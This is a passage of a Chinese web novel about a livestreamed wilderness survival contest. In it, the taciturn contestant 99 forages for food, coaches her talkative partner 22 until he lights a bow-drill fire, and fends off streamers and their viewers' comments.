“出门也不跟我说一声。”家里几乎没有食物了,钟臣溪决定先去找点食物回来,再继续钻木取火。
他收拾了一下,就上山了。
钟臣溪虽然在在城市里长大,但他热爱户外运动,而且为了参加这次比赛,比赛前两个月他就开始准备,从钻木取火、分辨食物等等,他都有研究。
钟臣溪自信,经验不足,知识来凑。后续他会慢慢发力。那个女人,迟早会知道,她很强,但他也不弱!
钟臣溪一头钻进林子里,他运气不错,很快发现了几颗麦冬,钟臣溪把它们挖出来,又继续往林子里走,一路上采了一些曲麻菜、鱼腥草等。
约莫过了两个小时,他发现了一株八月瓜,他精神振奋,把外套当袋子,一连采了三四十个果子,直到估摸着背不动了才收手。
钟臣溪背着一大袋果子,兴高采烈往家里赶。
快到家时,钟臣溪发现庇护所周围有一个人探头探脑,并慢慢在靠近。
虽然家徒四壁,钟臣溪还是迅速跑回家里。很怕对方偷走他家的一根草。
他一出现,那个人就停住了脚步,他一脸讪讪:“我就看看。”
赛方规定,选手不能靠近其他选手庇护所十米之内。也就是说,选手庇护所为中心,十米之内的物资是受保护的。
钟臣溪没有说话,他认出了这个人,是昨天下午吵架的组合之一。看来,他留了下来,不知道他的队友走没有。
那人见钟臣溪不说话,也有点尴尬,转身下山去了。
钟臣溪这才放下一袋子八月瓜,然后带着摘来的野菜去山泉那边清洗。
他正撅着屁股蹲在山泉边清洗,身后传来脚步声,钟臣溪一个激灵,拿起旁边的砍刀,往后一看:
看清来人,他松了一口气:“吓我一跳。”
“……”木香有点无语,心里骂了一句胆小鬼,然后将装在衣服里的东西倒了出来。
看到那些东西,钟臣溪眼睛都冒光了。
有几根手臂粗的山药,约莫有个四五斤。还有一些根茎,他认不出那是什么,另外还有一些草,钟臣溪依旧不认识。
木香蹲在泉边,用随身带的竹筒装了一筒水。
“你把这些洗一洗,我先回去了。”
99号说完,掉头就往家里走去,这态度仿佛把他当小保姆。
钟臣溪火大,冲着她背影大吼一声:“99号,我今天也很厉害,我带回了很多野菜,还有很多八月瓜!”
木香像是没听到,她回到屋子,看到地上的一堆八月瓜,拿起一个就开吃。
这东西她那个时候叫八月炸,名字差不多。果肉少,子籽,味微。个头大,能吃的部分却很少,吃了几个就塞个牙缝。
木香正噗噗噗的吐籽,外头传来她最不待见的声音;“哈喽,有人在家吗?”
木香不吭声,那人已经从门口看进来:“99号,你在啊。早上我过来,你们两个都不在呢。”
木香垂下眼,心想现在这些后辈,不请自入,真是半点不懂礼节。
老帅已经习惯木香不说话了,他没进去,这屋子还没有一人高,站着就显得窘迫,于是老帅就蹲在门口那里。
他先把镜头对准地上的一堆八月瓜:“小伙伴们,你们放心啊,我们99号和22号不缺吃的,看,地上有一堆野果。”
【哇,冷场姐在吃瓜,主播,告诉冷场姐她的外号!】
“99号,大家给你取了一个外号,你好好奇不?”
木香又拨开一个八月瓜,那后淡淡问;“外号是什么?”
“……”
老帅哭笑不得,不愧是冷场姐,他于是解释:“外号就是……网友们对你的一种称呼。”鉴于冷场姐的被动技能,老帅直接说:“网友们给你取的外号是冷场姐,你听了有什么感想?”''
木香沉默了。她根本不懂什么是外号,也不知道冷场姐是什么意思。
为了避免被人看穿她的不懂,木香干脆不回答,她指了指地上的八月瓜;“你吃吗?”''
“……谢谢,但我们不能吃选手的食物。”
木香点头:“哦。你不吃我吃。”说完,她开始大口吃瓜。
“……”
【666,又冷场了,不愧是我们的冷场姐。不接话,不接梗,主打一个惜字如金!】
【主播,问问她22号在哪?还是咱们小沪爷有趣!】
花开富贵:【对呀,我的小溪呢?快中午了,他吃上午饭了吗?】
就在这时,外面传来动静,老帅赶紧出去看,果然是22号回来了。
看到钟臣溪提着衣服,衣服装满东西,老帅赶紧问:“哇塞,看来我们22号满载而归啊,是什么东西?快让大家看看!好粗的山药啊,够吃两天了吧?”
钟臣溪把衣服放在地上,然后打开,露出里面洗得干干净净的食物。
“这些东西是99号找回来的。我刚才去洗了。”钟臣溪对着镜头解释,他不想抢99号的功劳。
“原来是冷场姐找回来的,冷场姐确实很有实力啊!”
这时,99
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号从屋里出来,正好听到22号的话,她默默上前,挑了一根最大的山药还有一块百合,再起身离开前,她挤出一句话;
“你找回的八月瓜也不错。”
“……那当然。”被夸的白胖子顿时得意洋洋,木香看不下去,揣着吃的回了屋。
她上午挖山药、挖百合,需要休息一下。
钟臣溪后知后觉,忽然问:“你为什么叫她冷场姐啊?”
“……网友们给取的。可能是因为跟她聊天时,很容易冷场吧。”
钟臣溪眼睛发亮,像是找到了知己,猛地点头,正准备说话,抬头一看,看到99号的背影,钟臣溪不敢当面蛐蛐她,于是赶紧又摇头:“也还行吧,她就是不太爱说话。”
木香左手山药,右手百合,一边啃一下。她一面啃一面想,原来冷场姐就是不爱说话的意思啊。
那白胖子这么唠叨,不就是热场弟?
今天食物充足,木香吃了一顿饱饭。人饿的时候,只盼着吃饱。
现在她吃饱了,又想着吃好。她想喝一口热汤。
可惜,那白胖子努力了这么久,还是没见火。
不过,木香并不打算帮他,因为目前还有比取火更重要的事情。
外面絮絮叨叨,她闭目养神。
休息了小半个时辰,木香才起来。外面已经没有絮絮叨叨的声音,木香走出去一看,不见缠人主播,瞬时松了一口气。
22号蹲在地上,继续他的钻木取火,他埋头苦干,并没有注意到木香出来了。
木香走到他身边,低头查看他的操作。
她忽然出现,把钟臣溪吓了一跳:“你怎么没个声儿,吓死我了。”
木香没理他,见22号动作停下,她蹲下来查看他的取火用具。
她先是用手去扣底板,而后又捏了捏钻木,最后慢慢道:“钻木硬度足够,但有点粗,你把它削细一点,中指粗就够了。”
钟臣溪立即反驳;“……粗一点细一点有什么关系?我在家用的钻木就是这样粗细,钻出火星没问题!反正我迟早能点燃火。”
木香像是没听见,继续说:“底板虽然干燥,但不够松软,以腐枯木最佳。我等下去林子了找一找,你先去收集树枝树叶,将房顶再加盖一层。”
“……又让我听你的?”钟臣溪心里的不服气又冒出来了。他承认这个女人有点强,但……他也么那么菜啊!凭什么当跟班?
木香已经站起来;“随你。”
她说着将外套搭在肩头,手提砍刀,准备上山。
“……”眼看木香身影走远,钟臣溪气得跺脚,大声嚷嚷:“好好好,我听你的,但是说好啊,你得给我找到更好的底板!”
木香没有回应,渐行渐远,气得钟臣溪龇牙咧嘴:“哼,走着瞧,后面我会让你知道我的厉害!”
他可是看了几百部荒野求生相关知识视频、熟读十几本野外动植物书籍的男人!
9. 第三天(2)
木香不慌不忙往山上走。
经过这几天的摸索,木香对附近这一片山林地势已经有了大致了解。
这次时间还早,木香决定去林子更深的地方。
她一边走一边留意倒在地上的枯腐木头,时不时停下脚步,用刀砍两下,用手去掰一下。
但找了好一会儿,还是没遇到合适的取火板。
木香也不急,走走停停。不多时,她看到了一片菌子,木香蹲下查看,这菌子呈灰白色,盖顶有圈状纹路,摸起来有一点粘腻。木香摘了一朵,掰下一点放入嘴里,口感微脆,是熟悉的味道。
是谷熟菌,可以吃。
木香摘了挑着摘了几十朵大的就收了手。
她继续往更深走,不多时就发现了一株山药,山药叶片呈桃心形,很容易分辨,木香沿着藤蔓找到了它的根部。
确定好位置,木香用带来的箬叶裹好手掌,借助砍刀开挖。
这颗山药的肉根有点深,木香挖了好一会儿才看到。
她接下来她一会儿用砍刀,一会儿用木片,小心翼翼挖空山药肉根旁边的泥头。
这根木片是木香早上用刀削出来的,比砍刀小巧灵活,可以替代手。
约莫一个时辰后,木香挖出了这棵山药的肉根,这根只有孩童手臂粗,不到一尺长。但歪歪扭扭的有些重量。
木香将山药收好,继续寻找食物。
她一边走,一边观察着周围地形地貌,心里已经开始盘算着在哪下套了。
等家里那个白胖子点燃了火,她就要考虑捕捉肉食了。
在山里找了一会儿,木香发现了一颗土茯苓,这让木香很高兴,土茯苓又被叫做饭团根,和山药一样能果腹。
这株土茯苓肉根有点大,木香花了好一会儿才将它挖出来,有三四斤重。
木香将土茯苓收好,估摸着时间,打算下山了,不过在此之前,她先找了个隐蔽的地方,将自己身上的短袖、内衣换下。
家里有个22号很不方便,所以一些私密的事情,她只能上了山处理。
换下来的衣物她下山时顺路拿到山泉那里清洗。至于晾晒,也省事。晚上守夜的时候在拿出来烤烤,不担心干不了。
下山时,木香没有重复上山的路径,她确定方向后,选择了一条新的路线。
路上,木香终于找到了一段不错的枯木,这根树干倒在地上许久,木身已经腐朽松软,加上这些天天气晴朗,枯木干燥,很适合用来做取火板。
木香砍下一截,扛在肩头,带了回去。
等木香回到家时,天色已经不早了。
木香放下东西,打量着屋顶,只见屋顶在她昨日铺盖的树叶之上,又加盖了一层,现在屋顶足足有两寸厚。
另外,22号大概是怕屋顶的树枝滑落下来,于是在上面加了一些细竹竿压住,又用藤蔓把细竹竿两头固定住。
木香放心了许多,今天上午她在山上观察天色,天上云团一团团庞大浓厚,那是要下雨的征兆。
已过秋分,再加上一场雨,晚上的温度会降下来,如果屋里漏雨,那就不堪设想了。
木香进了屋,发现东墙边她预留火塘位置已经被挖出了个一尺见方的坑,坑的三面垒着石块,形成了一个简陋的火灶。
对此,木香很满意。
22号眼里有活,有可取之处。
木香把今天挖来的山货放在屋中间,加上今日上午采集的八月瓜、山药等食物,屋里的食物已经堆成了一个小山包。
就在这时,外面传来脚步声,紧接是22号的高呼声:“99号,你回来了!”
钟臣溪又看到地上的一堆食物,更是欢喜:“哇塞,这么多,吃几天都吃不完吧?”
看到这一堆食物,简直比看到一堆珠宝还让他激动。
钟臣溪忍不住上前蹲下,细细盘点着家当:“新增山药……三斤?这个是什么?我不是不认识啊,没带叶子我才认不出。”
“……土茯苓。”
“新增土茯苓四五斤?还有乌枞菌……”
清点完这边,钟臣溪心里充满安全感,家里的这些东西,足够他们吃个三四天了。
他正陶醉着,木香打断了他,她指着地上那根腐木:“你用它做取火板。”
“行,我试试看。”
趁着太阳还没落山,钟臣溪说干就干,他提着那块腐木到了外面,然后用砍刀将它修正成合适的样子。
木香去山泉边清洗了一下,然后回屋吃东西,屋外砰砰砰,她不紧不慢啃了一根山药、几个八月瓜,几朵菌子,再加上一些拐枣、麦冬,然后输舒舒服服躺下休息了。
忙归忙,累归累,该休息就得休息,保重身体。
不然,怎么熬走其他一百多位选手,拿下第一。
木香正闭目养神,外头又传来叽叽喳喳聒噪声,不用说,那个缠人主播又来了。
不过听声音,这次来的主播不是老帅,而是大美。
屋外,大美蹲在钟臣溪跟前,将镜头对准他:“大家好,这是我们的22号选手钟臣溪,来自沪市,人送外号小沪爷。大家可以看到,22号在钻木取火。”
【他都钻三天了,行不行啊?】
【天气预报说明天下雨,如果今天还点不上火,后面就不好说了。】
【下雨的话,那又有很多人要退了。才三天,已经退了24人了。】
“22号在忙,我就不和他聊天了,我们就看看他钻木取火。”
【花开富贵怎么没来?】
【花花阿姨,小溪又在钻木取火呢,快来看啊!】
在粉丝们的呼吁声中,花开富贵带着她的跑车降临直播间。
“谢谢阿姨的跑车,22号选手现在在钻木取火。”
播了一会儿,大美怕网友们无聊,将镜头对准小屋木:“很精致的小木屋,我们进去看看。”
大美弯腰进去,她一眼就看到,屋中间堆着一大堆食物,其中有一堆山药、根茎食物等上面还带着新鲜泥土,看起来足足有十来斤。
“天啊。好多食物啊!粉丝们,你们看到了吗,这里有各种食物!99和22号组合真是强得可怕!”
【比中午那会儿又多了好多。看来这女人下午又上山打野去了。】
【又不一定是99号,也许是22号弄回来的。】
大美也很好奇,她这才注意到躺在最里面的木香:“99号,你在啊?能跟大家聊两句吗?”
木香无奈睁眼,坐起身来。
她面色淡淡的,一副不爱理人的模样。
大美已经了解99号的个性,不以为意,她看到木香鞋子上满是新鲜泥土,笑眯眯问:“打扰你了,你今天下午又上山了?”
木香点头。
“这些东西是你下午去山上找吗?”
木香又点头。
“真厉害啊,你一个人去的吗?22号没跟你一起去吗?”
木香沉默,她本想说自己一个人足以,但想到22号这三天的表现,她决定嘴下留情:
“22号在家里加厚屋顶。”
大美瞬间捕捉到了关键,她眼睛一亮:“也就是说,你们两人是分工合作,你在外,他在内?”
木香不懂套路,傻傻点头:“恩,可以这么说。”
“哇塞!大家听到了吗?这是一对女主外,男主内组合哦!99号真的很强!当然我们22号也不弱。”
【22号不行。冷场姐在外辛辛苦打野,小沪爷在家三天没点着火!说到底,这个家靠的就是我们冷场姐!】
【小沪爷也做了好多啊,刚才99号不是说了,他加厚屋顶!】
【跟冷场姐没法比!】
花开富贵甩出一辆游艇:【告诉99号,照顾好
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小溪,将来我必有重谢!】
【我嫉妒了,有个土豪妈就是爽!】
【这不公平!22号也太舒服了吧。】
【哪里不公平了?22号和99号是抽签组合,22号运气好抽到了99号,你不服也得服!】
【我服,22号运气没的说,投胎去了好人家,比赛抽到好队友!】
大美笑眯眯的答谢:“谢谢阿姨的游艇,22号挺好的。”她当然不能把花开富贵的话说出来。主播也要遵守赛方制定的规则,不能干扰选手心态。
就在这时,外面传来22号激动的大叫声:“火星!火星!”
大美一听,连忙闪电一般扭身冲出去,她迅速将摄像头对准22号,只见22号正手忙脚乱的将底板上的火星倒在旁边的火绒上。
大美迅速拉近距离:“小伙伴们,看到了吗?的确是火星,见证奇迹的一刻马上就到了,大家千万千万别眨眼!”
钟臣溪捧起火绒,小心翼翼的吹着,起初还能看到一点红色的炭火,但也就一两秒的功夫,那点火光就熄灭了。
“……”钟臣溪不死心,继续吹着。
然后几分钟过去了,没有出现转机。
见22号选手一脸失落,大美赶紧鼓励他:“没关系啊,这次不行,还有下次嘛。加油!”
钟臣溪一屁股坐在地上,垂头丧气,没有吭声。
木香站在门口,看到这一幕,她微微皱眉。心想这个公子哥果然靠不住,这点打击就受不住了。
看来,取火这事她得自己来。木香正准备过去,钟臣溪却忽然又蹲起来,他捡起地上的钻木和拉弓,一脚踩上底板,再次开始钻木。
木香愣了一下,转身回到屋里。
“22号选手没有放弃,他再次开始钻木取火。”
就在这时,大美用另一个手机接了个电话,那头有人找她:“大美,你那边怎么样,河谷这里有选手退赛,你那边没事过来看看?”
大美看22号一时半会生不起火,于是决定下去。
选手退赛是网友们喜欢看的内容,每退赛一个选手,意味着剩下的选手获胜的机会又多了一点。
这样的紧张感,能刺激人的情绪。
……
也不知过了多久,天色渐渐暗下来。钟臣溪还是没点燃火。
听着外头一阵阵的摩擦声,木香又默默啃了一根山药,几只菌子和一些野果。
慢慢的,她感觉到有点内急,想要小解。
木香只好起身,往外走去。见22号埋头干活,木香趁他不注意,悄悄往外走。
可惜怕什么来什么,木香还以为22号没发现她,不料背后传来22号的声音:“99号,天快黑了,你别走太远。”
“……”木香快步离开。她走了好远一会儿,找了个合适位置蹲下,心里盘算着这样不行,等以后有时间,她得建个茅厕。
木香回来的时候,22号已经不在外面了,她进了屋,发现22号在屋里吃东西。
因为天快黑了,屋里漆黑一片。木香看不见22号,只听到他嘎巴嘎巴的吃东西的声音。
她默默走到自己的床榻,躺下。
天一黑,地下寒气就冒了上来,隔着木段、枯草,木香还是感觉到了一阵阵寒气,她于是起身,将所有衣服全穿上。
“99号,你为什么来参加这个比赛?”
木香没有说话,22号开始自言自语;“我知道,是为了奖金吧?那天晚上我听你说,要得第一名,拿下奖金,然后租房子?”
“租房子不需要五十万吧?你要那么多钱干什么?”
“不关你事。”
听到回应,钟臣溪顿时精神了,又问;“那天跟你打电话的人谁啊?是你男朋友吗?你要搬出去?为什么啊?你们分手了吗?”
这一连串发问让木香烦不胜烦:”闭嘴。”
10. 第四天(1)
“对了,你住桂西哪里?”
“……”木香捂住耳朵,倒头就睡。
钟臣溪嘎嘣嘎嘣吃了山药,又吃了一些别的东西,然后起身出去了。
很快,屋外又传来摩擦声。
木香惊讶,天都快黑透了,22号没有休息,又跑去钻木取火了?
这个白白胖胖的公子哥,倒真是有几分毅力。
那一阵阵摩擦的声音像是吹眠曲,木香慢慢合上眼睛,让意识陷入虚无之中。
但总有一些画面,不自觉的在她眼前浮现。
“阿姐,等我去城里赚了钱,给你买好多好吃的,蜜枣儿,杏子干,你想吃多少吃多少!”
弟弟背着包袱,跟着一个男人下了山,他的背影越来越远,木香踮着脚尖努力去看,直到看不见。
木香问身边默默无言的母亲:“娘,我想和弟弟一起。”
母亲叹气,满怀愧疚:“木香,爹娘对不起你,你不能下山,一辈子都不能。”
……
“我点着火了,我点着火了!”几声大叫将木香惊醒。
她迅速起身走到门外,只见漆黑的夜色中,她模模糊糊看到22号蹲在地上,他双手捧着一团火绒,而在火绒中间,升起簇小小的、红色的火焰。
木香连忙说:“慢慢吹,慢慢进屋,外面有风。”
她话音刚落,一阵夜风吹来,火苗抖了一下,钟臣溪吓得心跳都停了,他捧着火绒往怀里送,木香迅速上前,挡在钟臣溪跟前,她伸手盖在钟臣溪双手外围,两人肌肤碰触。
不过木香顾不上这么多:“慢慢走,回屋。”
她率先挪动脚步,钟臣溪立即跟上她的动作,很快两人进了屋,钟臣溪蹲下将火绒放到火塘里。
火塘旁边有提前备好的干树叶、枯草,木香一点点的往上加。
钟臣溪则趴在地上吹火,火势渐渐大,那一点火焰也逐渐蔓延开来。
钟臣溪松了一口气,木香往火塘里扔了几根干树枝,然后站起往外走。
这几日,他们在干活时会顺手往家里捡柴,再加上之前建房子剩下的边角料,他们积攒了许多柴火。
木香挑了几根比较粗的枯木,将枯木砍断,然后搬了进来。放在火塘旁边。
大木头可以维持得久一些,这样他们就不用时刻守在火边了。
跳跃的火焰红彤彤的,钟臣溪觉得这是他见过最漂亮的火,他忍不住问;“99号,你看这火焰,好看吧?”
“……”木香没吭声。
于是钟臣溪又开启自言自语模式:“瞧,它多么像一个穿着红裙子跳舞的精灵啊!”
“你……没事吧?”木香怀疑22号是不是发癫了。
“我是说真的,你见过比这更漂亮的火焰吗?我敢说,这是世界山最美的火焰,对,我要给它起个名字,就叫做……29火焰,我们的名字组合,你说呢?"
“……”木香不想搭理一个癫人:“你累了就去睡,我来看火。”
说着她往火上加了几根手臂粗的树段,再把更粗的树段放在上面。
随后,木香起身去外面,她在屋前找了个地方,然后开始挖坑。
钟臣溪追出来一看,大吃一惊;“99号,这里不行,离家里太近了,你想上厕所还是走远一点,我害怕的话,我陪你。”他以为木香想上大号,所以挖坑埋屎。
“……”木香沉默了一会儿。
钟臣溪急了:“真不行。会臭啊……99号,我不是针对你啊,所有人的粑粑都臭啊!我的也臭!”
“闭嘴!”木香声音冷厉:“我挖坑是为了保存山药和土茯苓。”
“啊?”
“以后你嘴巴放尊重点,不然我撕烂了它!”木香放下狠话。
“……不好意思,我误会了,但,但我没有不尊重你啊。你生气是因为我说你那个臭吗?”
“……滚。”木香随手捡起一块泥土,冲22号扔过去。
“嗷!你打我!是泥,好脏!”
木香不再理会发癫的22号,她很快挖了一个一尺多深的坑,然后将今天下午挖回来的山药、土茯苓放入土坑里,上面铺上一层箬叶,再盖上一寸深的松土。
如此,这些食物可以保存七八天不腐。
等木香忙完这一切回到屋里,22号已经躺下睡了,木香检查了一下火塘,确定里面的柴可以维持两个时辰以上,便安心去睡了。
这一夜,他们有屋有火,舒适了很多。
木香并没有睡死,她小睡一会儿醒来时,就往火塘里扔一根木头。
这样不知过儿多久,木香再次睁开眼时,发现22号坐在火塘边。
见木香醒了,他赶紧说:“你睡吧,天应该快亮了,我来看火。”
木香便又躺了下去,兴许是太累了,她居然连22号起来都不知道。
幸好22号品性不算坏。
……
天光微亮,钟臣溪坐在火堆边,他面向火堆的一面被火烤得热乎乎的,但背后却感受到一阵阵凉意。
钟臣溪不由得嘀咕:“怎么好像越来越冷了?”
“下雨了。”木香已经坐起身来,她听到了屋外传来的淅淅沥沥的雨声。
钟臣溪跑到屋外一看,果然下雨了,很小的雨,但那雨滴落在脸上,格外的冰凉。
钟臣溪一个寒颤,赶紧跑回了屋里。
他坐在火塘边,心里万分庆幸:幸好昨晚他点了火,否则还不得被冻死啊。
今天下了雨,温度陡降,估计有些人熬不住了。
天亮了,肚子也饿了。
木香拿起一些野菜菌子、两个大竹筒就往外走,她打算去取点水煮热汤吃。
“下雨了,还是我去吧。”
钟臣溪拦住她,从她手里拿过大竹筒,往外走去。
木香决定做两个竹筒锅,她从屋外拖回一根粗大的竹子,选取一段,保留两头竹节,砍成一个带两竹节的竹筒。
然后在竹筒横截面三七分处小心劈开,大的那边可以当做锅煮水煮汤,小那边则作为锅盖。
做好竹筒锅后,木香又用刀将竹筒锅的切口仔细刮磨,让切口平滑整齐。
这个时候,钟臣溪回来了,他头发湿漉漉的,冲锋衣上都是水,裤子和鞋子也湿了。
木香看了他一眼,调整了一下火塘两边的石块,将竹筒锅正好架在上面。
“你来煮汤。”说完木香走出去了。
“好。”钟臣溪脱了外套,将竹筒里的水倒进竹筒锅里,然后把洗好的野菜、菌
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子放入锅中。
竹筒锅里的水慢慢冒出热气,望着锅里的野菜和菌子,钟臣溪不争气的咽了下口水。
这才是第四天,他已经开始怀念各种热食的味道。
不多时,木香回来了,她带回来四根笔直的树枝,打算用这些树枝做木筷。
闻着菜汤淡淡的香气,钟臣溪肚子都忍不住咕咕叫起来,为了转移注意力,他问:
“99号,你吃过最好吃的东西是什么?”
木香没理他,钟臣溪不在意,继续说;“如果你这样问我,那我可得好好想想了,我想吃……烤肉!烤羊肉、烤牛肉、烤五花肉……不不不,这些太干巴了,最好来一大碗罗宋汤,粘稠热乎,还有软烂的牛肉和蔬菜……”
就在这时,外面传来老帅的声音:“哈哈哈,还是咱们22号臣溪厉害,都喝上罗宋汤了。我是老帅,能进来吗?”
“请进。”
老帅抖了抖身上的雨衣,弯下腰,小心翼翼进来。小屋空间不大,两个床位各占一面,99号坐在自己床位上用刀削着一根细木头。屋子中间堆放了一些食物,而东边是一个火塘,22号正蹲在前面忙活。
老帅就蹲在门口,他先将镜头对准火塘:“哇塞,火点起来了?”
钟臣溪点头:“昨晚点起来了的。”
“恭喜你啊,有了火,可以吃上一口热乎的了。”老帅有些感慨。先前他并不看好99和22号组合,觉得他们一个是女生,一个是没有经验的城市人。
但现在看来,是他低估了这两人。现在是比赛的第四天,他们这个组合搭建了一个不错的庇护所,有不少存粮,现在火也有了。
老帅估摸着,这两人再坚持个一周都没问题。
“小伙伴们看到了吗?这个竹筒锅做得不错啊,两边还可以拿起来。用来煮汤很方便。这里还有个盖子,可以盖起来。”老帅说着,拿起锅盖演示了一下。
“这对组合真的很手巧。”
钟臣溪有些惭愧,连忙解释:“这是99号做的。”
“看来99号深藏不露啊。盖得了房子,做得了锅。”老帅将镜头对准木香:“我刚才一进来,就发现99号在忙活,大家猜猜看,她在做什么?”
老帅知道冷场姐的惜字如金,所以干脆尽量不让她说话,免得冷场。
【冷场姐在削木头!】
【是不是在做陷阱?】
【是在做筷子吧,不然怎么吃东西啊。】
等网友们猜得差不多了,老帅才问:“冷姐,你到底在做什么啊?”
木香没吭声,只是将做好的一副筷子递向旁边的钟臣溪:“给你。”
钟臣溪望着这双被削得光滑齐整的筷子,脑子有点懵:“我?你,你先吃吧。”
他确实很饿很馋,但这几天99号做的事最多,她又是个女孩子,理应先吃。
木香看着他,虽然没说话,但脸色坚决,钟臣溪没办法,只好接下筷子:
“那我真的先吃了啊,一会儿你可别嫌弃我口水啊。”
木香轻呵了一声,又从地上捡起一个竹筒,开始做另一个竹筒锅。显然,她并不打算和22号共用一个锅。
“……你嫌弃我!”钟臣溪忍不住大叫。
但没人理他。
11. 第四天(2)
网友们被他们逗笑了。
【冷场姐用行动表达的了她的嫌弃。】
【冷场姐也太可爱了吧,好萌啊,她不是99号,她是□□姐。】
【□□姐,好名字!】
一时间,□□姐刷了屏。
老帅念了出来:“□□姐,还真别说,这名字好听。”
钟臣溪一下子明白过来,他看向99号,笑着念出:“□□。”
木香听不懂,也懒得搭理他们。在她看来,对得第一名没用的事情都没必要去做。这两人在这里废话,纯粹是浪费口水和体力。
她面无表情,将竹筒劈开,完全无视两人,这让傻傻笑着的钟臣溪像个白痴。
直播间的网友们都快笑疯了:
【这不就是没头脑和不高兴。】
【□□号和22号的反差好大啊。】
【最喜欢看他们这一对,逗死了。】
老帅看着直播间的留言差点笑出来,他赶紧另起话题;“今天下雨,你们有什么打算呢?”
钟臣溪微微皱眉,昨晚他想着今天和99号一起山上打野,多收集一些食物。但目前下雨的话……
“看情况,等下如果不下雨我就出去。”
这时,野菜菌子汤也快煮好了,钟臣溪小心翼翼把它拿下来,放在一旁地上。
他并没有急着吃,而是等99号的竹筒锅做好后,把她的锅接过来,放在火塘上,倒水、加菜,等做好这一切,钟臣溪才端起他的锅吃东西。
他第一个吃了个菌子。
老帅连忙问:“上山第四天的第一口热食,感觉怎么样?”
但一向话多的22号这次却没有立即回答,一个菌子下肚,他又迫不及待地夹了一筷子野菜往自己嘴里送。
这样连吃三口,钟臣溪才满足的哈了一口气;“香,真香啊。天底下怎么有这么好吃的东西!太太太好吃了!”
他的样子不像是演戏,搞得老帅都忍不住凑近竹筒锅,偷偷吸了一口气:
“……”不就是那个寡淡的青草味儿吗?
果然,人在饿的时候,树皮都好吃。
【小沪爷吃草吃爽了?】
【你们懂什么?咱们小沪爷是吃多了大鱼大肉,所以对野菜菌子情有独钟呗。】
【原来小沪爷是来荒野换个口味来了。】
【胡扯,他这纯粹是饿的,不信让主播问问他肉好吃还是野菜好吃?】
老帅早就想问了:“臣溪,问你个问题哈,是野菜菌子汤好吃,还是烤肉好吃,就是那种香喷喷的,冒着油的烤肉?”
闻言,钟臣溪不自觉的咽了下口水,然后手里端着的野菜菌子汤好像不香了。
他努力让自己看起来没那么馋,然而口水根本不受控制的分泌,导致他说话都含糊不清了:“……那还是肉好吃。”
“看出来了,你想吃肉了。”
木香听得皱眉,真是没出息。
不多时,她的汤好了,木香一边吃,一边被迫听了一耳朵的废话。
她不耐烦听他们说话,正好屋外的雨小了点,木香穿上冲锋衣,看了一眼老帅。
屋里太小,老帅蹲在门口堵住了门。
老帅会意,赶紧弓着腰倒退出去,钟臣溪也挪了下位置让出通道。
木香刚走出去,钟臣溪又端着碗追了出来:“雨还没停,你去哪儿?”
“上山。”木香头也没回,拎着砍柴刀就往山上走。
“你等雨停了再出去吧,又不缺吃的。”钟臣溪又喊。
但木香像是没听到一样,没有任何回应,往山上去了。老帅思索三秒,决定跟上。
今天下雨,绝大多数选手都家里蹲摆烂。相比之下,网友们更愿意看选手外出打野内容。而且木香是为数不多的女选手,她本身又个性十足,跟着她直播准没错。
木香一走,钟臣溪也坐不住了。他本是想等雨停了再出门干活,但木香都上山了,他如果蹲在家里等饭吃,那真成了小废物了。
钟臣溪决定去捡柴,家里有火,不能走远,钟臣溪去附近捡柴。
他往火塘里添了两根碗口粗的木柴,收拾收拾,就出门了。
木香没走多久就发现了身后跟了个尾巴。
木香出门,就是想远离这个嘴巴合不拢的主播,但万万没想到,老帅放弃了22号,跟上了她。
她不动声色,先去附近的山泉那里洗脸漱口,然后继续往山上走。为了摆脱老帅,木香加快了脚步,她在山中生活了十多年,经历过无数阴晴雨雪,所以这一点小雨,根本难不住她。
没多久,木香就和老帅拉开了距离,她回头瞄了一眼,决定等一下就甩开老帅。
不料就在这时,老帅脚下一滑,哎呦一声,整个人跌倒在地上,他试图爬起来,却因为湿滑的泥土又摔了一跤。
”……”木香看得直皱眉。这里的人,真的好弱。
不过,这正是甩开老帅的好机会。木香转身就走,但没走三步,她又回来了。
她几步来到老帅身边,伸手将老帅从地上拉起来。
“谢谢啊,冷姐。”
木香没说话,转身又要走,老帅连忙跟上,一边走一边自嘲:“摔了一跤,有点丢人。小伙伴们,真不怪我,不是我走得慢,是冷姐走得快……”
老帅想缓和一下气氛,于是打算开个玩笑,他大声问:“冷姐,你刚才走得那么快,不会是为了甩开我吧?”
“是。”木香果断的承认了,她决定摊开说,让老帅别跟着她。
‘……’老帅也懵了,他没想到木香就这么直白的承认了:“你不想我跟着?是因为我走得慢吗?”
“慢倒是其次。主要是你话太多。会干扰我。”
"……"老帅沉默三秒。作为一个主播,能说会道本来是优势,但万万没想到,他居然因为能说遭到嫌弃。
“那我尽量不打扰你,不和你对话,你看怎么样?”老帅虽然有点难受,但还是决定要跟着木香。
她真的太特别了。特别到他就是想跟着她,看看她接下来做些什么。
木香点头。
木香继续往山的西面走,昨天她在那里看到一片葛根,这是一片老野葛,根茎太柴不好吃。但葛根的藤条上有许多鼓起的藤包,里面有葛根虫,是一道美味。
昨天他们没有火,所以木香放过了那些虫子,但今天就不一样了。算那些虫子命不好了。
木香直奔目标,路上有一些菌子,但木香并不去采,这让老帅心痒痒,想问一问木香,但最后还是忍住了。
老帅为了跟上木香,也不跟粉丝们互动了,拼命赶路,气喘吁吁。
这个时候,雨已经停了。
【99号太高傲了,我不喜欢。】
【你的喜欢无人在意。谁规定选手要和主播聊天吗?这里是脱口秀比赛吗?】
【我很好奇,冷姐到底要干什么,她连地上的菌子都看不上。】
约莫小半个时辰后,木香找到了那一片葛根,这些葛根藤蔓盘绕着几棵树,疯长蔓延成了一大片,七弯八拐的藤条像是蛇一般在层层叠叠的枝叶下若隐若现。
木香走近,抬眼观察,很快就发现了藤条上大大小小的鼓包,大的有男子拳头大小,小的有鸡蛋那么大。这些葛藤包里面就有葛根虫。
木香伸手用力拉下一条,然后手起刀落,将其中鼓包两头砍断,然后将鼓包随手在地
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上,继续砍第二个。
老帅曾经是一名荒野求生赛事选手,他立即猜到木香在做什么,连忙将镜头对准木香,并小声和直播间的网友们沟通:
“小伙伴们,你们知道木香在做什么吗?”
【她在砍柴吧?】
【肯定不是砍柴啊,刚才一路上到处都有枯树断枝,她用得着跑这么远吗?】
【她在找葛根虫。】
“这位小伙伴猜对了。那些葛藤鼓包里面有虫子,俗称葛根虫,其实是甲虫幼崽。富含蛋白质。”老帅的语气多了几分赞叹:“冷场姐确实是有些本事的。”
【也就是说,别的选手还在吃草,他们已经吃上肉了?】
【黑马!】
【22号走的是什么狗屎运啊!人在家中蹲,肉从天上来啊!】
【可不能这么说,小沪爷也做了很多事啊。】
